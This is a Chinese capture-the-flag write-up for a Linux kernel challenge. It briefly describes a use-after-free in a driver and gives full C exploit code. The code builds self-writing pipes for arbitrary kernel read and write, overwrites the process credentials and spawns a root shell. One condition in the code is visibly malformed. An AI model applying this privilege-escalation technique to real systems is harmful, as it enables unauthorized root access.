程序分析
保护当然都开了, 题目给了一次增加, 释放, 修改一字节堆块的能力, 这里释放堆块后没有将其指针置空从而导致了 UAF.
漏洞利用
这里的堆块大小为 512 字节并是 SLAB_ACCOUNT, 所以可以直接利用管道去构造自写管道从而构造任意读写系统, 详细见大佬博客:【CTF.0x08】D^ 3CTF2023 d3kcache 出题手记 - arttnba3's blog
exp 如下:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdint.h>size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;
size_t init_task, init_nsproxy, init_cred;size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{size_t page_count;page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;return vmemmap_base + page_count * 0x40;
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* root checker and shell poper */
void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");sleep(5);exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");/* to exit the process normally, instead of segmentation fault */exit(EXIT_SUCCESS);
}/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}struct page;
struct pipe_inode_info;
struct pipe_buf_operations;/* read start from len to offset, write start from offset */
struct pipe_buffer {struct page *page;unsigned int offset, len;const struct pipe_buf_operations *ops;unsigned int flags;unsigned long private;
};struct pipe_buf_operations {int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);void (*release)(struct pipe_inode_info *, struct pipe_buffer *);int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);int (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};int fd;
struct argg {char* buf;
};void add(char* buf)
{struct argg arg = { .buf = buf };ioctl(fd, 0x20, &arg);
}void dele(char* buf)
{struct argg arg = { .buf = buf };ioctl(fd, 0x30, &arg);
}void edit(char* buf)
{struct argg arg = { .buf = buf };ioctl(fd, 0x50, &arg);
}#define PIPE_SPRAY_NUM 200
#define SND_PIPE_BUF_SZ 96
#define TRD_PIPE_BUF_SZ 192
int orig_idx;
int victim_idx;
int pipe_fd[PIPE_SPRAY_NUM][2];
struct pipe_buffer evil_2nd_buf, evil_3rd_buf, evil_4th_buf;
int self_4th_pipe_idx = -1;
int self_2nd_pipe_idx = -1;
int self_3rd_pipe_idx = -1;
char temp_zero_buf[0x1000] = {'\0'};void arbitrary_read_by_pipe(struct page *page_to_read, void *dst)
{evil_2nd_buf.offset = 0;evil_2nd_buf.len = 0x1ff8;evil_2nd_buf.page = page_to_read;write(pipe_fd[self_3rd_pipe_idx][1], &evil_4th_buf, sizeof(evil_4th_buf));write(pipe_fd[self_4th_pipe_idx][1], &evil_2nd_buf, sizeof(evil_2nd_buf));write(pipe_fd[self_4th_pipe_idx][1],temp_zero_buf,TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));write(pipe_fd[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));read(pipe_fd[self_2nd_pipe_idx][0], dst, 0xfff);
}void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len)
{evil_2nd_buf.page = page_to_write;evil_2nd_buf.offset = 0;evil_2nd_buf.len = 0;write(pipe_fd[self_3rd_pipe_idx][1], &evil_4th_buf, sizeof(evil_4th_buf));write(pipe_fd[self_4th_pipe_idx][1], &evil_2nd_buf, sizeof(evil_2nd_buf));write(pipe_fd[self_4th_pipe_idx][1],temp_zero_buf,TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));write(pipe_fd[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));write(pipe_fd[self_2nd_pipe_idx][1], src, len);
}int main(int argc, char** argv, char** envp)
{save_status();bind_core(0);fd = open("/dev/water", O_RDWR);if (fd < 0) err_exit("open /dev/water");char * buf = malloc(0x3000);char target[16] = { 0 };size_t target_addr;memset(buf, 'A', 0x1000);strcpy(target, "XiaozaYaPwner");if (prctl(PR_SET_NAME, target, 0, 0, 0) != 0){err_exit("cannot set name");}add(buf);dele(buf);puts("[+] Spary pipe_buffer");for (int i = 0; i < PIPE_SPRAY_NUM; i++){if (pipe(pipe_fd[i]) < 0){printf("[X] failed to alloc %d pipe\n", i);err_exit("Alloc Pipe");}}puts("[+] Shrink pipe_buffer to 512B");for (int i = 0; i < PIPE_SPRAY_NUM; i++){if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 8) < 0){printf("[X] failed to fcntl %d pipe\n", i);err_exit("Fcntl Pipe");}}puts("[+] Wirte TAG to pipe");for (int i = 0; i < PIPE_SPRAY_NUM; i++){write(pipe_fd[i][1], "XiaozaYa", 8);write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], "AAAAAAAA", 8);write(pipe_fd[i][1], "BBBBBBBB", 8);}buf[0] = '\x00';edit(buf);puts("[+] Read pipe to check victim pipe idx");orig_idx = -1;victim_idx = -1;for (int i = 0; i < PIPE_SPRAY_NUM; i++){char tag[0x10];int nr;memset(tag, 0, sizeof(tag));read(pipe_fd[i][0], tag, 8);read(pipe_fd[i][0], &nr, sizeof(int));if (!strcmp(tag, "XiaozaYa") && nr != i){orig_idx = nr;victim_idx = i;printf("\033[32m\033[1m[+] Found victim: \033[0m%d ""\033[32m\033[1m, orig: \033[0m%d\n\n",victim_idx, orig_idx);//break;}}if (orig_idx == -1 || victim_idx == -1){err_exit("UAF ERROR");}int snd_orig_idx = -1;int snd_victim_idx = -1;struct pipe_buffer info_pipe_buf;puts("[+] Snd pipe");size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ / sizeof(struct pipe_buffer));memset(buf, 0, sizeof(buf));write(pipe_fd[victim_idx][1], buf, SND_PIPE_BUF_SZ * 2 - 24 - 3 * sizeof(int));puts("[+] free original pipe");close(pipe_fd[orig_idx][0]);close(pipe_fd[orig_idx][1]);puts("[+] fcntl to set the pipe_buffer on victim page");for (int i = 0; i < PIPE_SPRAY_NUM; i++){if (i == orig_idx || i == victim_idx){continue;}if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0){printf("[X] failed to fcntl %d pipe at snd pipe\n", i);err_exit("Fcntl Pipe");}}read(pipe_fd[victim_idx][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int));read(pipe_fd[victim_idx][0], &info_pipe_buf, sizeof(info_pipe_buf));printf("\033[34m\033[1m[?] info_pipe_buf->page: \033[0m%p\n""\033[34m\033[1m[?] info_pipe_buf->ops: \033[0m%p\n",info_pipe_buf.page, info_pipe_buf.ops);if ((size_t)info_pipe_buf.page < 0xffff000000000000 || (size_t)info_pipe_buf.ops < 0xffffffff81000000){err_exit("FAILED to re-hit victim page!");}puts("\033[32m\033[1m[+] Successfully to hit the UAF page!\033[0m");printf("\033[32m\033[1m[+] Got page leak:\033[0m %p\n", info_pipe_buf.page);puts("[+] construct a second-level uaf pipe page");info_pipe_buf.page = (struct page *)((size_t)info_pipe_buf.page + 0x40);write(pipe_fd[victim_idx][1], &info_pipe_buf, sizeof(info_pipe_buf));for (int i = 0; i < PIPE_SPRAY_NUM; i++){//char tag[0x10] = { 0 };int nr;if (i == orig_idx || i == victim_idx){continue;}//read(pipe_fd[i][0], tag, 8);read(pipe_fd[i][0], &nr, sizeof(int));// printf("idx: %#x\n", nr);//if (!strcmp(tag, "XiaozaYa") && i != nr)if (i < PIPE_SPRAY_NUM && i != nr){snd_orig_idx = nr;snd_victim_idx = i;printf("\033[32m\033[1m[+] Found second-level victim: \033[0m%d ""\033[32m\033[1m, orig: \033[0m%d\n",snd_victim_idx, snd_orig_idx);break;}}if (snd_orig_idx == -1 || snd_victim_idx == -1){err_exit("FAILED to corrupt second-level pipe_buffer!");}size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ / sizeof(struct pipe_buffer));struct pipe_buffer evil_pipe_buf;struct page *page_ptr;memset(buf, 0, sizeof(buf));write(pipe_fd[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - 24 - 3 * sizeof(int));puts("[*] free second-level original pipe...");close(pipe_fd[snd_orig_idx][0]);close(pipe_fd[snd_orig_idx][1]);puts("[*] fcntl() to set the pipe_buffer on second-level victim page...");for (int i = 0; i < PIPE_SPRAY_NUM; i++){if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx){continue;}if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0){printf("[x] failed to resize %d pipe!\n", i);err_exit("FAILED to re-alloc pipe_buffer!");}}puts("[*] hijacking the 2nd pipe_buffer on page to itself...");evil_pipe_buf.page = info_pipe_buf.page;evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;evil_pipe_buf.len = TRD_PIPE_BUF_SZ;evil_pipe_buf.ops = info_pipe_buf.ops;evil_pipe_buf.flags = info_pipe_buf.flags;evil_pipe_buf.private = info_pipe_buf.private;write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));for (int i = 0; i < PIPE_SPRAY_NUM; i++){if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx){continue;}read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));if (page_ptr == evil_pipe_buf.page){self_2nd_pipe_idx = i;printf("\033[32m\033[1m[+] Found self-writing pipe: \033[0m%d\n",self_2nd_pipe_idx);break;}}if (self_2nd_pipe_idx == -1){err_exit("FAILED to build a self-writing pipe!");}puts("[*] hijacking the 3rd pipe_buffer on page to itself...");evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;evil_pipe_buf.len = TRD_PIPE_BUF_SZ;write(pipe_fd[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf));write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));for (int i = 0; i < PIPE_SPRAY_NUM; i++){if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx || i == self_2nd_pipe_idx){continue;}read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));if (page_ptr == evil_pipe_buf.page){self_3rd_pipe_idx = i;printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m""%d\n",self_3rd_pipe_idx);break;}}if (self_3rd_pipe_idx == -1){err_exit("FAILED to build a self-writing pipe!");}puts("[*] hijacking the 4th pipe_buffer on page to itself...");evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;evil_pipe_buf.len = TRD_PIPE_BUF_SZ;write(pipe_fd[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf));write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));for (int i = 0; i < PIPE_SPRAY_NUM; i++){if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx || i == self_2nd_pipe_idx || i == self_3rd_pipe_idx){continue;}read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));if (page_ptr == evil_pipe_buf.page){self_4th_pipe_idx = i;printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m""%d\n",self_4th_pipe_idx);break;}}if (self_4th_pipe_idx == -1){err_exit("FAILED to build a self-writing pipe!");}puts("[*] Setting up kernel arbitrary read & write...");memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf));memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));evil_2nd_buf.offset = 0;evil_2nd_buf.len = 0xff0;evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3;evil_3rd_buf.len = 0;write(pipe_fd[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));evil_4th_buf.offset = TRD_PIPE_BUF_SZ;evil_4th_buf.len = 0;vmemmap_base = (size_t)info_pipe_buf.page & 0xfffffffff0000000;for (;;){arbitrary_read_by_pipe((struct page *)(vmemmap_base + 157 * 0x40), buf);if (*(uint64_t *)buf > 0xffffffff81000000 && ((*(uint64_t *)buf & 0xfff) == 0x0e0)){kernel_base = *(uint64_t *)buf - 0x0e0;kernel_offset = kernel_base - 0xffffffff81000000;printf("\033[32m\033[1m[+] Found kernel base: \033[0m0x%lx\n""\033[32m\033[1m[+] Kernel offset: \033[0m0x%lx\n",kernel_base, kernel_offset);break;}vmemmap_base -= 0x10000000;}printf("\033[32m\033[1m[+] vmemmap_base:\033[0m 0x%lx\n\n", vmemmap_base);uint64_t parent_task, current_task;puts("[*] Seeking task_struct in memory...");uint64_t *comm_addr = 0;uint64_t *point_buf = malloc(0x1000);for (int i = 0; 1; i++){arbitrary_read_by_pipe((struct page *)(vmemmap_base + i * 0x40), point_buf);comm_addr = memmem(point_buf, 0xf00, target, 0xd);if (comm_addr && (comm_addr[-2] > 0xffff888000000000) && (comm_addr[-3] > 0xffff888000000000) && (comm_addr[-57] > 0xffff888000000000) && (comm_addr[-56] > 0xffff888000){parent_task = comm_addr[-60];current_task = comm_addr[-54] - 2528;page_offset_base = (comm_addr[-54] & 0xfffffffffffff000) - i * 0x1000;page_offset_base &= 0xfffffffff0000000;printf("\033[32m\033[1m[+] Found task_struct on page: \033[0m%p\n",(struct page *)(vmemmap_base + i * 0x40));printf("\033[32m\033[1m[+] page_offset_base: \033[0m0x%lx\n",page_offset_base);printf("\033[34m\033[1m[*] current task_struct's addr: \033[0m""0x%lx\n\n",current_task);break;}}size_t *tsk_buf;uint64_t init_task = 0xffffffff83011200+kernel_offset;uint64_t init_cred = 0xffffffff8308c620+kernel_offset;uint64_t init_nsproxy = 0xffffffff8308c140+kernel_offset;printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred);printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred);printf("\033[32m\033[1m[+] Found init_nsproxy:\033[0m0x%lx\n", init_nsproxy);puts("[*] Escalating ROOT privilege now...");size_t current_task_page = direct_map_addr_to_page_addr(current_task);arbitrary_read_by_pipe((struct page *)current_task_page, buf);arbitrary_read_by_pipe((struct page *)(current_task_page + 0x40), &buf[512 * 8]);tsk_buf = (size_t *)((size_t)buf + (current_task & 0xfff));tsk_buf[367] = init_cred;tsk_buf[368] = init_cred;tsk_buf[381] = init_nsproxy;arbitrary_write_by_pipe((struct page *)current_task_page, buf, 0xff0);arbitrary_write_by_pipe((struct page *)(current_task_page + 0x40),&buf[512 * 8], 0xff0);puts("[+] Done.\n");puts("[*] checking for root...");get_root_shell();puts("[+] END!");return 0;
}
效果如下: